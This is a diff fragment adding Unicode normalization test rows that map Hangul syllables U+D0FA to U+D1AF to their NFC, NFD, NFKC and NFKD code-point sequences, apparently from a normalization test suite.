+{ source: [0xD0FA], NFC: [0xD0FA], NFD: [0x1110, 0x1163, 0x11A9], NFKC: [0xD0FA], NFKD: [0x1110, 0x1163, 0x11A9] },
+{ source: [0xD0FB], NFC: [0xD0FB], NFD: [0x1110, 0x1163, 0x11AA], NFKC: [0xD0FB], NFKD: [0x1110, 0x1163, 0x11AA] },
+{ source: [0xD0FC], NFC: [0xD0FC], NFD: [0x1110, 0x1163, 0x11AB], NFKC: [0xD0FC], NFKD: [0x1110, 0x1163, 0x11AB] },
+{ source: [0xD0FD], NFC: [0xD0FD], NFD: [0x1110, 0x1163, 0x11AC], NFKC: [0xD0FD], NFKD: [0x1110, 0x1163, 0x11AC] },
+{ source: [0xD0FE], NFC: [0xD0FE], NFD: [0x1110, 0x1163, 0x11AD], NFKC: [0xD0FE], NFKD: [0x1110, 0x1163, 0x11AD] },
+{ source: [0xD0FF], NFC: [0xD0FF], NFD: [0x1110, 0x1163, 0x11AE], NFKC: [0xD0FF], NFKD: [0x1110, 0x1163, 0x11AE] },
+{ source: [0xD100], NFC: [0xD100], NFD: [0x1110, 0x1163, 0x11AF], NFKC: [0xD100], NFKD: [0x1110, 0x1163, 0x11AF] },
+{ source: [0xD101], NFC: [0xD101], NFD: [0x1110, 0x1163, 0x11B0], NFKC: [0xD101], NFKD: [0x1110, 0x1163, 0x11B0] },
+{ source: [0xD102], NFC: [0xD102], NFD: [0x1110, 0x1163, 0x11B1], NFKC: [0xD102], NFKD: [0x1110, 0x1163, 0x11B1] },
+{ source: [0xD103], NFC: [0xD103], NFD: [0x1110, 0x1163, 0x11B2], NFKC: [0xD103], NFKD: [0x1110, 0x1163, 0x11B2] },
+{ source: [0xD104], NFC: [0xD104], NFD: [0x1110, 0x1163, 0x11B3], NFKC: [0xD104], NFKD: [0x1110, 0x1163, 0x11B3] },
+{ source: [0xD105], NFC: [0xD105], NFD: [0x1110, 0x1163, 0x11B4], NFKC: [0xD105], NFKD: [0x1110, 0x1163, 0x11B4] },
+{ source: [0xD106], NFC: [0xD106], NFD: [0x1110, 0x1163, 0x11B5], NFKC: [0xD106], NFKD: [0x1110, 0x1163, 0x11B5] },
+{ source: [0xD107], NFC: [0xD107], NFD: [0x1110, 0x1163, 0x11B6], NFKC: [0xD107], NFKD: [0x1110, 0x1163, 0x11B6] },
+{ source: [0xD108], NFC: [0xD108], NFD: [0x1110, 0x1163, 0x11B7], NFKC: [0xD108], NFKD: [0x1110, 0x1163, 0x11B7] },
+{ source: [0xD109], NFC: [0xD109], NFD: [0x1110, 0x1163, 0x11B8], NFKC: [0xD109], NFKD: [0x1110, 0x1163, 0x11B8] },
+{ source: [0xD10A], NFC: [0xD10A], NFD: [0x1110, 0x1163, 0x11B9], NFKC: [0xD10A], NFKD: [0x1110, 0x1163, 0x11B9] },
+{ source: [0xD10B], NFC: [0xD10B], NFD: [0x1110, 0x1163, 0x11BA], NFKC: [0xD10B], NFKD: [0x1110, 0x1163, 0x11BA] },
+{ source: [0xD10C], NFC: [0xD10C], NFD: [0x1110, 0x1163, 0x11BB], NFKC: [0xD10C], NFKD: [0x1110, 0x1163, 0x11BB] },
+{ source: [0xD10D], NFC: [0xD10D], NFD: [0x1110, 0x1163, 0x11BC], NFKC: [0xD10D], NFKD: [0x1110, 0x1163, 0x11BC] },
+{ source: [0xD10E], NFC: [0xD10E], NFD: [0x1110, 0x1163, 0x11BD], NFKC: [0xD10E], NFKD: [0x1110, 0x1163, 0x11BD] },
+{ source: [0xD10F], NFC: [0xD10F], NFD: [0x1110, 0x1163, 0x11BE], NFKC: [0xD10F], NFKD: [0x1110, 0x1163, 0x11BE] },
+{ source: [0xD110], NFC: [0xD110], NFD: [0x1110, 0x1163, 0x11BF], NFKC: [0xD110], NFKD: [0x1110, 0x1163, 0x11BF] },
+{ source: [0xD111], NFC: [0xD111], NFD: [0x1110, 0x1163, 0x11C0], NFKC: [0xD111], NFKD: [0x1110, 0x1163, 0x11C0] },
+{ source: [0xD112], NFC: [0xD112], NFD: [0x1110, 0x1163, 0x11C1], NFKC: [0xD112], NFKD: [0x1110, 0x1163, 0x11C1] },
+{ source: [0xD113], NFC: [0xD113], NFD: [0x1110, 0x1163, 0x11C2], NFKC: [0xD113], NFKD: [0x1110, 0x1163, 0x11C2] },
+{ source: [0xD114], NFC: [0xD114], NFD: [0x1110, 0x1164], NFKC: [0xD114], NFKD: [0x1110, 0x1164] },
+{ source: [0xD115], NFC: [0xD115], NFD: [0x1110, 0x1164, 0x11A8], NFKC: [0xD115], NFKD: [0x1110, 0x1164, 0x11A8] },
+{ source: [0xD116], NFC: [0xD116], NFD: [0x1110, 0x1164, 0x11A9], NFKC: [0xD116], NFKD: [0x1110, 0x1164, 0x11A9] },
+{ source: [0xD117], NFC: [0xD117], NFD: [0x1110, 0x1164, 0x11AA], NFKC: [0xD117], NFKD: [0x1110, 0x1164, 0x11AA] },
+{ source: [0xD118], NFC: [0xD118], NFD: [0x1110, 0x1164, 0x11AB], NFKC: [0xD118], NFKD: [0x1110, 0x1164, 0x11AB] },
+{ source: [0xD119], NFC: [0xD119], NFD: [0x1110, 0x1164, 0x11AC], NFKC: [0xD119], NFKD: [0x1110, 0x1164, 0x11AC] },
+{ source: [0xD11A], NFC: [0xD11A], NFD: [0x1110, 0x1164, 0x11AD], NFKC: [0xD11A], NFKD: [0x1110, 0x1164, 0x11AD] },
+{ source: [0xD11B], NFC: [0xD11B], NFD: [0x1110, 0x1164, 0x11AE], NFKC: [0xD11B], NFKD: [0x1110, 0x1164, 0x11AE] },
+{ source: [0xD11C], NFC: [0xD11C], NFD: [0x1110, 0x1164, 0x11AF], NFKC: [0xD11C], NFKD: [0x1110, 0x1164, 0x11AF] },
+{ source: [0xD11D], NFC: [0xD11D], NFD: [0x1110, 0x1164, 0x11B0], NFKC: [0xD11D], NFKD: [0x1110, 0x1164, 0x11B0] },
+{ source: [0xD11E], NFC: [0xD11E], NFD: [0x1110, 0x1164, 0x11B1], NFKC: [0xD11E], NFKD: [0x1110, 0x1164, 0x11B1] },
+{ source: [0xD11F], NFC: [0xD11F], NFD: [0x1110, 0x1164, 0x11B2], NFKC: [0xD11F], NFKD: [0x1110, 0x1164, 0x11B2] },
+{ source: [0xD120], NFC: [0xD120], NFD: [0x1110, 0x1164, 0x11B3], NFKC: [0xD120], NFKD: [0x1110, 0x1164, 0x11B3] },
+{ source: [0xD121], NFC: [0xD121], NFD: [0x1110, 0x1164, 0x11B4], NFKC: [0xD121], NFKD: [0x1110, 0x1164, 0x11B4] },
+{ source: [0xD122], NFC: [0xD122], NFD: [0x1110, 0x1164, 0x11B5], NFKC: [0xD122], NFKD: [0x1110, 0x1164, 0x11B5] },
+{ source: [0xD123], NFC: [0xD123], NFD: [0x1110, 0x1164, 0x11B6], NFKC: [0xD123], NFKD: [0x1110, 0x1164, 0x11B6] },
+{ source: [0xD124], NFC: [0xD124], NFD: [0x1110, 0x1164, 0x11B7], NFKC: [0xD124], NFKD: [0x1110, 0x1164, 0x11B7] },
+{ source: [0xD125], NFC: [0xD125], NFD: [0x1110, 0x1164, 0x11B8], NFKC: [0xD125], NFKD: [0x1110, 0x1164, 0x11B8] },
+{ source: [0xD126], NFC: [0xD126], NFD: [0x1110, 0x1164, 0x11B9], NFKC: [0xD126], NFKD: [0x1110, 0x1164, 0x11B9] },
+{ source: [0xD127], NFC: [0xD127], NFD: [0x1110, 0x1164, 0x11BA], NFKC: [0xD127], NFKD: [0x1110, 0x1164, 0x11BA] },
+{ source: [0xD128], NFC: [0xD128], NFD: [0x1110, 0x1164, 0x11BB], NFKC: [0xD128], NFKD: [0x1110, 0x1164, 0x11BB] },
+{ source: [0xD129], NFC: [0xD129], NFD: [0x1110, 0x1164, 0x11BC], NFKC: [0xD129], NFKD: [0x1110, 0x1164, 0x11BC] },
+{ source: [0xD12A], NFC: [0xD12A], NFD: [0x1110, 0x1164, 0x11BD], NFKC: [0xD12A], NFKD: [0x1110, 0x1164, 0x11BD] },
+{ source: [0xD12B], NFC: [0xD12B], NFD: [0x1110, 0x1164, 0x11BE], NFKC: [0xD12B], NFKD: [0x1110, 0x1164, 0x11BE] },
+{ source: [0xD12C], NFC: [0xD12C], NFD: [0x1110, 0x1164, 0x11BF], NFKC: [0xD12C], NFKD: [0x1110, 0x1164, 0x11BF] },
+{ source: [0xD12D], NFC: [0xD12D], NFD: [0x1110, 0x1164, 0x11C0], NFKC: [0xD12D], NFKD: [0x1110, 0x1164, 0x11C0] },
+{ source: [0xD12E], NFC: [0xD12E], NFD: [0x1110, 0x1164, 0x11C1], NFKC: [0xD12E], NFKD: [0x1110, 0x1164, 0x11C1] },
+{ source: [0xD12F], NFC: [0xD12F], NFD: [0x1110, 0x1164, 0x11C2], NFKC: [0xD12F], NFKD: [0x1110, 0x1164, 0x11C2] },
+{ source: [0xD130], NFC: [0xD130], NFD: [0x1110, 0x1165], NFKC: [0xD130], NFKD: [0x1110, 0x1165] },
+{ source: [0xD131], NFC: [0xD131], NFD: [0x1110, 0x1165, 0x11A8], NFKC: [0xD131], NFKD: [0x1110, 0x1165, 0x11A8] },
+{ source: [0xD132], NFC: [0xD132], NFD: [0x1110, 0x1165, 0x11A9], NFKC: [0xD132], NFKD: [0x1110, 0x1165, 0x11A9] },
+{ source: [0xD133], NFC: [0xD133], NFD: [0x1110, 0x1165, 0x11AA], NFKC: [0xD133], NFKD: [0x1110, 0x1165, 0x11AA] },
+{ source: [0xD134], NFC: [0xD134], NFD: [0x1110, 0x1165, 0x11AB], NFKC: [0xD134], NFKD: [0x1110, 0x1165, 0x11AB] },
+{ source: [0xD135], NFC: [0xD135], NFD: [0x1110, 0x1165, 0x11AC], NFKC: [0xD135], NFKD: [0x1110, 0x1165, 0x11AC] },
+{ source: [0xD136], NFC: [0xD136], NFD: [0x1110, 0x1165, 0x11AD], NFKC: [0xD136], NFKD: [0x1110, 0x1165, 0x11AD] },
+{ source: [0xD137], NFC: [0xD137], NFD: [0x1110, 0x1165, 0x11AE], NFKC: [0xD137], NFKD: [0x1110, 0x1165, 0x11AE] },
+{ source: [0xD138], NFC: [0xD138], NFD: [0x1110, 0x1165, 0x11AF], NFKC: [0xD138], NFKD: [0x1110, 0x1165, 0x11AF] },
+{ source: [0xD139], NFC: [0xD139], NFD: [0x1110, 0x1165, 0x11B0], NFKC: [0xD139], NFKD: [0x1110, 0x1165, 0x11B0] },
+{ source: [0xD13A], NFC: [0xD13A], NFD: [0x1110, 0x1165, 0x11B1], NFKC: [0xD13A], NFKD: [0x1110, 0x1165, 0x11B1] },
+{ source: [0xD13B], NFC: [0xD13B], NFD: [0x1110, 0x1165, 0x11B2], NFKC: [0xD13B], NFKD: [0x1110, 0x1165, 0x11B2] },
+{ source: [0xD13C], NFC: [0xD13C], NFD: [0x1110, 0x1165, 0x11B3], NFKC: [0xD13C], NFKD: [0x1110, 0x1165, 0x11B3] },
+{ source: [0xD13D], NFC: [0xD13D], NFD: [0x1110, 0x1165, 0x11B4], NFKC: [0xD13D], NFKD: [0x1110, 0x1165, 0x11B4] },
+{ source: [0xD13E], NFC: [0xD13E], NFD: [0x1110, 0x1165, 0x11B5], NFKC: [0xD13E], NFKD: [0x1110, 0x1165, 0x11B5] },
+{ source: [0xD13F], NFC: [0xD13F], NFD: [0x1110, 0x1165, 0x11B6], NFKC: [0xD13F], NFKD: [0x1110, 0x1165, 0x11B6] },
+{ source: [0xD140], NFC: [0xD140], NFD: [0x1110, 0x1165, 0x11B7], NFKC: [0xD140], NFKD: [0x1110, 0x1165, 0x11B7] },
+{ source: [0xD141], NFC: [0xD141], NFD: [0x1110, 0x1165, 0x11B8], NFKC: [0xD141], NFKD: [0x1110, 0x1165, 0x11B8] },
+{ source: [0xD142], NFC: [0xD142], NFD: [0x1110, 0x1165, 0x11B9], NFKC: [0xD142], NFKD: [0x1110, 0x1165, 0x11B9] },
+{ source: [0xD143], NFC: [0xD143], NFD: [0x1110, 0x1165, 0x11BA], NFKC: [0xD143], NFKD: [0x1110, 0x1165, 0x11BA] },
+{ source: [0xD144], NFC: [0xD144], NFD: [0x1110, 0x1165, 0x11BB], NFKC: [0xD144], NFKD: [0x1110, 0x1165, 0x11BB] },
+{ source: [0xD145], NFC: [0xD145], NFD: [0x1110, 0x1165, 0x11BC], NFKC: [0xD145], NFKD: [0x1110, 0x1165, 0x11BC] },
+{ source: [0xD146], NFC: [0xD146], NFD: [0x1110, 0x1165, 0x11BD], NFKC: [0xD146], NFKD: [0x1110, 0x1165, 0x11BD] },
+{ source: [0xD147], NFC: [0xD147], NFD: [0x1110, 0x1165, 0x11BE], NFKC: [0xD147], NFKD: [0x1110, 0x1165, 0x11BE] },
+{ source: [0xD148], NFC: [0xD148], NFD: [0x1110, 0x1165, 0x11BF], NFKC: [0xD148], NFKD: [0x1110, 0x1165, 0x11BF] },
+{ source: [0xD149], NFC: [0xD149], NFD: [0x1110, 0x1165, 0x11C0], NFKC: [0xD149], NFKD: [0x1110, 0x1165, 0x11C0] },
+{ source: [0xD14A], NFC: [0xD14A], NFD: [0x1110, 0x1165, 0x11C1], NFKC: [0xD14A], NFKD: [0x1110, 0x1165, 0x11C1] },
+{ source: [0xD14B], NFC: [0xD14B], NFD: [0x1110, 0x1165, 0x11C2], NFKC: [0xD14B], NFKD: [0x1110, 0x1165, 0x11C2] },
+{ source: [0xD14C], NFC: [0xD14C], NFD: [0x1110, 0x1166], NFKC: [0xD14C], NFKD: [0x1110, 0x1166] },
+{ source: [0xD14D], NFC: [0xD14D], NFD: [0x1110, 0x1166, 0x11A8], NFKC: [0xD14D], NFKD: [0x1110, 0x1166, 0x11A8] },
+{ source: [0xD14E], NFC: [0xD14E], NFD: [0x1110, 0x1166, 0x11A9], NFKC: [0xD14E], NFKD: [0x1110, 0x1166, 0x11A9] },
+{ source: [0xD14F], NFC: [0xD14F], NFD: [0x1110, 0x1166, 0x11AA], NFKC: [0xD14F], NFKD: [0x1110, 0x1166, 0x11AA] },
+{ source: [0xD150], NFC: [0xD150], NFD: [0x1110, 0x1166, 0x11AB], NFKC: [0xD150], NFKD: [0x1110, 0x1166, 0x11AB] },
+{ source: [0xD151], NFC: [0xD151], NFD: [0x1110, 0x1166, 0x11AC], NFKC: [0xD151], NFKD: [0x1110, 0x1166, 0x11AC] },
+{ source: [0xD152], NFC: [0xD152], NFD: [0x1110, 0x1166, 0x11AD], NFKC: [0xD152], NFKD: [0x1110, 0x1166, 0x11AD] },
+{ source: [0xD153], NFC: [0xD153], NFD: [0x1110, 0x1166, 0x11AE], NFKC: [0xD153], NFKD: [0x1110, 0x1166, 0x11AE] },
+{ source: [0xD154], NFC: [0xD154], NFD: [0x1110, 0x1166, 0x11AF], NFKC: [0xD154], NFKD: [0x1110, 0x1166, 0x11AF] },
+{ source: [0xD155], NFC: [0xD155], NFD: [0x1110, 0x1166, 0x11B0], NFKC: [0xD155], NFKD: [0x1110, 0x1166, 0x11B0] },
+{ source: [0xD156], NFC: [0xD156], NFD: [0x1110, 0x1166, 0x11B1], NFKC: [0xD156], NFKD: [0x1110, 0x1166, 0x11B1] },
+{ source: [0xD157], NFC: [0xD157], NFD: [0x1110, 0x1166, 0x11B2], NFKC: [0xD157], NFKD: [0x1110, 0x1166, 0x11B2] },
+{ source: [0xD158], NFC: [0xD158], NFD: [0x1110, 0x1166, 0x11B3], NFKC: [0xD158], NFKD: [0x1110, 0x1166, 0x11B3] },
+{ source: [0xD159], NFC: [0xD159], NFD: [0x1110, 0x1166, 0x11B4], NFKC: [0xD159], NFKD: [0x1110, 0x1166, 0x11B4] },
+{ source: [0xD15A], NFC: [0xD15A], NFD: [0x1110, 0x1166, 0x11B5], NFKC: [0xD15A], NFKD: [0x1110, 0x1166, 0x11B5] },
+{ source: [0xD15B], NFC: [0xD15B], NFD: [0x1110, 0x1166, 0x11B6], NFKC: [0xD15B], NFKD: [0x1110, 0x1166, 0x11B6] },
+{ source: [0xD15C], NFC: [0xD15C], NFD: [0x1110, 0x1166, 0x11B7], NFKC: [0xD15C], NFKD: [0x1110, 0x1166, 0x11B7] },
+{ source: [0xD15D], NFC: [0xD15D], NFD: [0x1110, 0x1166, 0x11B8], NFKC: [0xD15D], NFKD: [0x1110, 0x1166, 0x11B8] },
+{ source: [0xD15E], NFC: [0xD15E], NFD: [0x1110, 0x1166, 0x11B9], NFKC: [0xD15E], NFKD: [0x1110, 0x1166, 0x11B9] },
+{ source: [0xD15F], NFC: [0xD15F], NFD: [0x1110, 0x1166, 0x11BA], NFKC: [0xD15F], NFKD: [0x1110, 0x1166, 0x11BA] },
+{ source: [0xD160], NFC: [0xD160], NFD: [0x1110, 0x1166, 0x11BB], NFKC: [0xD160], NFKD: [0x1110, 0x1166, 0x11BB] },
+{ source: [0xD161], NFC: [0xD161], NFD: [0x1110, 0x1166, 0x11BC], NFKC: [0xD161], NFKD: [0x1110, 0x1166, 0x11BC] },
+{ source: [0xD162], NFC: [0xD162], NFD: [0x1110, 0x1166, 0x11BD], NFKC: [0xD162], NFKD: [0x1110, 0x1166, 0x11BD] },
+{ source: [0xD163], NFC: [0xD163], NFD: [0x1110, 0x1166, 0x11BE], NFKC: [0xD163], NFKD: [0x1110, 0x1166, 0x11BE] },
+{ source: [0xD164], NFC: [0xD164], NFD: [0x1110, 0x1166, 0x11BF], NFKC: [0xD164], NFKD: [0x1110, 0x1166, 0x11BF] },
+{ source: [0xD165], NFC: [0xD165], NFD: [0x1110, 0x1166, 0x11C0], NFKC: [0xD165], NFKD: [0x1110, 0x1166, 0x11C0] },
+{ source: [0xD166], NFC: [0xD166], NFD: [0x1110, 0x1166, 0x11C1], NFKC: [0xD166], NFKD: [0x1110, 0x1166, 0x11C1] },
+{ source: [0xD167], NFC: [0xD167], NFD: [0x1110, 0x1166, 0x11C2], NFKC: [0xD167], NFKD: [0x1110, 0x1166, 0x11C2] },
+{ source: [0xD168], NFC: [0xD168], NFD: [0x1110, 0x1167], NFKC: [0xD168], NFKD: [0x1110, 0x1167] },
+{ source: [0xD169], NFC: [0xD169], NFD: [0x1110, 0x1167, 0x11A8], NFKC: [0xD169], NFKD: [0x1110, 0x1167, 0x11A8] },
+{ source: [0xD16A], NFC: [0xD16A], NFD: [0x1110, 0x1167, 0x11A9], NFKC: [0xD16A], NFKD: [0x1110, 0x1167, 0x11A9] },
+{ source: [0xD16B], NFC: [0xD16B], NFD: [0x1110, 0x1167, 0x11AA], NFKC: [0xD16B], NFKD: [0x1110, 0x1167, 0x11AA] },
+{ source: [0xD16C], NFC: [0xD16C], NFD: [0x1110, 0x1167, 0x11AB], NFKC: [0xD16C], NFKD: [0x1110, 0x1167, 0x11AB] },
+{ source: [0xD16D], NFC: [0xD16D], NFD: [0x1110, 0x1167, 0x11AC], NFKC: [0xD16D], NFKD: [0x1110, 0x1167, 0x11AC] },
+{ source: [0xD16E], NFC: [0xD16E], NFD: [0x1110, 0x1167, 0x11AD], NFKC: [0xD16E], NFKD: [0x1110, 0x1167, 0x11AD] },
+{ source: [0xD16F], NFC: [0xD16F], NFD: [0x1110, 0x1167, 0x11AE], NFKC: [0xD16F], NFKD: [0x1110, 0x1167, 0x11AE] },
+{ source: [0xD170], NFC: [0xD170], NFD: [0x1110, 0x1167, 0x11AF], NFKC: [0xD170], NFKD: [0x1110, 0x1167, 0x11AF] },
+{ source: [0xD171], NFC: [0xD171], NFD: [0x1110, 0x1167, 0x11B0], NFKC: [0xD171], NFKD: [0x1110, 0x1167, 0x11B0] },
+{ source: [0xD172], NFC: [0xD172], NFD: [0x1110, 0x1167, 0x11B1], NFKC: [0xD172], NFKD: [0x1110, 0x1167, 0x11B1] },
+{ source: [0xD173], NFC: [0xD173], NFD: [0x1110, 0x1167, 0x11B2], NFKC: [0xD173], NFKD: [0x1110, 0x1167, 0x11B2] },
+{ source: [0xD174], NFC: [0xD174], NFD: [0x1110, 0x1167, 0x11B3], NFKC: [0xD174], NFKD: [0x1110, 0x1167, 0x11B3] },
+{ source: [0xD175], NFC: [0xD175], NFD: [0x1110, 0x1167, 0x11B4], NFKC: [0xD175], NFKD: [0x1110, 0x1167, 0x11B4] },
+{ source: [0xD176], NFC: [0xD176], NFD: [0x1110, 0x1167, 0x11B5], NFKC: [0xD176], NFKD: [0x1110, 0x1167, 0x11B5] },
+{ source: [0xD177], NFC: [0xD177], NFD: [0x1110, 0x1167, 0x11B6], NFKC: [0xD177], NFKD: [0x1110, 0x1167, 0x11B6] },
+{ source: [0xD178], NFC: [0xD178], NFD: [0x1110, 0x1167, 0x11B7], NFKC: [0xD178], NFKD: [0x1110, 0x1167, 0x11B7] },
+{ source: [0xD179], NFC: [0xD179], NFD: [0x1110, 0x1167, 0x11B8], NFKC: [0xD179], NFKD: [0x1110, 0x1167, 0x11B8] },
+{ source: [0xD17A], NFC: [0xD17A], NFD: [0x1110, 0x1167, 0x11B9], NFKC: [0xD17A], NFKD: [0x1110, 0x1167, 0x11B9] },
+{ source: [0xD17B], NFC: [0xD17B], NFD: [0x1110, 0x1167, 0x11BA], NFKC: [0xD17B], NFKD: [0x1110, 0x1167, 0x11BA] },
+{ source: [0xD17C], NFC: [0xD17C], NFD: [0x1110, 0x1167, 0x11BB], NFKC: [0xD17C], NFKD: [0x1110, 0x1167, 0x11BB] },
+{ source: [0xD17D], NFC: [0xD17D], NFD: [0x1110, 0x1167, 0x11BC], NFKC: [0xD17D], NFKD: [0x1110, 0x1167, 0x11BC] },
+{ source: [0xD17E], NFC: [0xD17E], NFD: [0x1110, 0x1167, 0x11BD], NFKC: [0xD17E], NFKD: [0x1110, 0x1167, 0x11BD] },
+{ source: [0xD17F], NFC: [0xD17F], NFD: [0x1110, 0x1167, 0x11BE], NFKC: [0xD17F], NFKD: [0x1110, 0x1167, 0x11BE] },
+{ source: [0xD180], NFC: [0xD180], NFD: [0x1110, 0x1167, 0x11BF], NFKC: [0xD180], NFKD: [0x1110, 0x1167, 0x11BF] },
+{ source: [0xD181], NFC: [0xD181], NFD: [0x1110, 0x1167, 0x11C0], NFKC: [0xD181], NFKD: [0x1110, 0x1167, 0x11C0] },
+{ source: [0xD182], NFC: [0xD182], NFD: [0x1110, 0x1167, 0x11C1], NFKC: [0xD182], NFKD: [0x1110, 0x1167, 0x11C1] },
+{ source: [0xD183], NFC: [0xD183], NFD: [0x1110, 0x1167, 0x11C2], NFKC: [0xD183], NFKD: [0x1110, 0x1167, 0x11C2] },
+{ source: [0xD184], NFC: [0xD184], NFD: [0x1110, 0x1168], NFKC: [0xD184], NFKD: [0x1110, 0x1168] },
+{ source: [0xD185], NFC: [0xD185], NFD: [0x1110, 0x1168, 0x11A8], NFKC: [0xD185], NFKD: [0x1110, 0x1168, 0x11A8] },
+{ source: [0xD186], NFC: [0xD186], NFD: [0x1110, 0x1168, 0x11A9], NFKC: [0xD186], NFKD: [0x1110, 0x1168, 0x11A9] },
+{ source: [0xD187], NFC: [0xD187], NFD: [0x1110, 0x1168, 0x11AA], NFKC: [0xD187], NFKD: [0x1110, 0x1168, 0x11AA] },
+{ source: [0xD188], NFC: [0xD188], NFD: [0x1110, 0x1168, 0x11AB], NFKC: [0xD188], NFKD: [0x1110, 0x1168, 0x11AB] },
+{ source: [0xD189], NFC: [0xD189], NFD: [0x1110, 0x1168, 0x11AC], NFKC: [0xD189], NFKD: [0x1110, 0x1168, 0x11AC] },
+{ source: [0xD18A], NFC: [0xD18A], NFD: [0x1110, 0x1168, 0x11AD], NFKC: [0xD18A], NFKD: [0x1110, 0x1168, 0x11AD] },
+{ source: [0xD18B], NFC: [0xD18B], NFD: [0x1110, 0x1168, 0x11AE], NFKC: [0xD18B], NFKD: [0x1110, 0x1168, 0x11AE] },
+{ source: [0xD18C], NFC: [0xD18C], NFD: [0x1110, 0x1168, 0x11AF], NFKC: [0xD18C], NFKD: [0x1110, 0x1168, 0x11AF] },
+{ source: [0xD18D], NFC: [0xD18D], NFD: [0x1110, 0x1168, 0x11B0], NFKC: [0xD18D], NFKD: [0x1110, 0x1168, 0x11B0] },
+{ source: [0xD18E], NFC: [0xD18E], NFD: [0x1110, 0x1168, 0x11B1], NFKC: [0xD18E], NFKD: [0x1110, 0x1168, 0x11B1] },
+{ source: [0xD18F], NFC: [0xD18F], NFD: [0x1110, 0x1168, 0x11B2], NFKC: [0xD18F], NFKD: [0x1110, 0x1168, 0x11B2] },
+{ source: [0xD190], NFC: [0xD190], NFD: [0x1110, 0x1168, 0x11B3], NFKC: [0xD190], NFKD: [0x1110, 0x1168, 0x11B3] },
+{ source: [0xD191], NFC: [0xD191], NFD: [0x1110, 0x1168, 0x11B4], NFKC: [0xD191], NFKD: [0x1110, 0x1168, 0x11B4] },
+{ source: [0xD192], NFC: [0xD192], NFD: [0x1110, 0x1168, 0x11B5], NFKC: [0xD192], NFKD: [0x1110, 0x1168, 0x11B5] },
+{ source: [0xD193], NFC: [0xD193], NFD: [0x1110, 0x1168, 0x11B6], NFKC: [0xD193], NFKD: [0x1110, 0x1168, 0x11B6] },
+{ source: [0xD194], NFC: [0xD194], NFD: [0x1110, 0x1168, 0x11B7], NFKC: [0xD194], NFKD: [0x1110, 0x1168, 0x11B7] },
+{ source: [0xD195], NFC: [0xD195], NFD: [0x1110, 0x1168, 0x11B8], NFKC: [0xD195], NFKD: [0x1110, 0x1168, 0x11B8] },
+{ source: [0xD196], NFC: [0xD196], NFD: [0x1110, 0x1168, 0x11B9], NFKC: [0xD196], NFKD: [0x1110, 0x1168, 0x11B9] },
+{ source: [0xD197], NFC: [0xD197], NFD: [0x1110, 0x1168, 0x11BA], NFKC: [0xD197], NFKD: [0x1110, 0x1168, 0x11BA] },
+{ source: [0xD198], NFC: [0xD198], NFD: [0x1110, 0x1168, 0x11BB], NFKC: [0xD198], NFKD: [0x1110, 0x1168, 0x11BB] },
+{ source: [0xD199], NFC: [0xD199], NFD: [0x1110, 0x1168, 0x11BC], NFKC: [0xD199], NFKD: [0x1110, 0x1168, 0x11BC] },
+{ source: [0xD19A], NFC: [0xD19A], NFD: [0x1110, 0x1168, 0x11BD], NFKC: [0xD19A], NFKD: [0x1110, 0x1168, 0x11BD] },
+{ source: [0xD19B], NFC: [0xD19B], NFD: [0x1110, 0x1168, 0x11BE], NFKC: [0xD19B], NFKD: [0x1110, 0x1168, 0x11BE] },
+{ source: [0xD19C], NFC: [0xD19C], NFD: [0x1110, 0x1168, 0x11BF], NFKC: [0xD19C], NFKD: [0x1110, 0x1168, 0x11BF] },
+{ source: [0xD19D], NFC: [0xD19D], NFD: [0x1110, 0x1168, 0x11C0], NFKC: [0xD19D], NFKD: [0x1110, 0x1168, 0x11C0] },
+{ source: [0xD19E], NFC: [0xD19E], NFD: [0x1110, 0x1168, 0x11C1], NFKC: [0xD19E], NFKD: [0x1110, 0x1168, 0x11C1] },
+{ source: [0xD19F], NFC: [0xD19F], NFD: [0x1110, 0x1168, 0x11C2], NFKC: [0xD19F], NFKD: [0x1110, 0x1168, 0x11C2] },
+{ source: [0xD1A0], NFC: [0xD1A0], NFD: [0x1110, 0x1169], NFKC: [0xD1A0], NFKD: [0x1110, 0x1169] },
+{ source: [0xD1A1], NFC: [0xD1A1], NFD: [0x1110, 0x1169, 0x11A8], NFKC: [0xD1A1], NFKD: [0x1110, 0x1169, 0x11A8] },
+{ source: [0xD1A2], NFC: [0xD1A2], NFD: [0x1110, 0x1169, 0x11A9], NFKC: [0xD1A2], NFKD: [0x1110, 0x1169, 0x11A9] },
+{ source: [0xD1A3], NFC: [0xD1A3], NFD: [0x1110, 0x1169, 0x11AA], NFKC: [0xD1A3], NFKD: [0x1110, 0x1169, 0x11AA] },
+{ source: [0xD1A4], NFC: [0xD1A4], NFD: [0x1110, 0x1169, 0x11AB], NFKC: [0xD1A4], NFKD: [0x1110, 0x1169, 0x11AB] },
+{ source: [0xD1A5], NFC: [0xD1A5], NFD: [0x1110, 0x1169, 0x11AC], NFKC: [0xD1A5], NFKD: [0x1110, 0x1169, 0x11AC] },
+{ source: [0xD1A6], NFC: [0xD1A6], NFD: [0x1110, 0x1169, 0x11AD], NFKC: [0xD1A6], NFKD: [0x1110, 0x1169, 0x11AD] },
+{ source: [0xD1A7], NFC: [0xD1A7], NFD: [0x1110, 0x1169, 0x11AE], NFKC: [0xD1A7], NFKD: [0x1110, 0x1169, 0x11AE] },
+{ source: [0xD1A8], NFC: [0xD1A8], NFD: [0x1110, 0x1169, 0x11AF], NFKC: [0xD1A8], NFKD: [0x1110, 0x1169, 0x11AF] },
+{ source: [0xD1A9], NFC: [0xD1A9], NFD: [0x1110, 0x1169, 0x11B0], NFKC: [0xD1A9], NFKD: [0x1110, 0x1169, 0x11B0] },
+{ source: [0xD1AA], NFC: [0xD1AA], NFD: [0x1110, 0x1169, 0x11B1], NFKC: [0xD1AA], NFKD: [0x1110, 0x1169, 0x11B1] },
+{ source: [0xD1AB], NFC: [0xD1AB], NFD: [0x1110, 0x1169, 0x11B2], NFKC: [0xD1AB], NFKD: [0x1110, 0x1169, 0x11B2] },
+{ source: [0xD1AC], NFC: [0xD1AC], NFD: [0x1110, 0x1169, 0x11B3], NFKC: [0xD1AC], NFKD: [0x1110, 0x1169, 0x11B3] },
+{ source: [0xD1AD], NFC: [0xD1AD], NFD: [0x1110, 0x1169, 0x11B4], NFKC: [0xD1AD], NFKD: [0x1110, 0x1169, 0x11B4] },
+{ source: [0xD1AE], NFC: [0xD1AE], NFD: [0x1110, 0x1169, 0x11B5], NFKC: [0xD1AE], NFKD: [0x1110, 0x1169, 0x11B5] },
+{ source: [0xD1AF], NFC: [0xD1AF], NFD: [0x1110, 0x1169, 0x11B6], NFKC: [0xD1AF], NFKD: [0x1110, 0x1169, 0x11B6] },
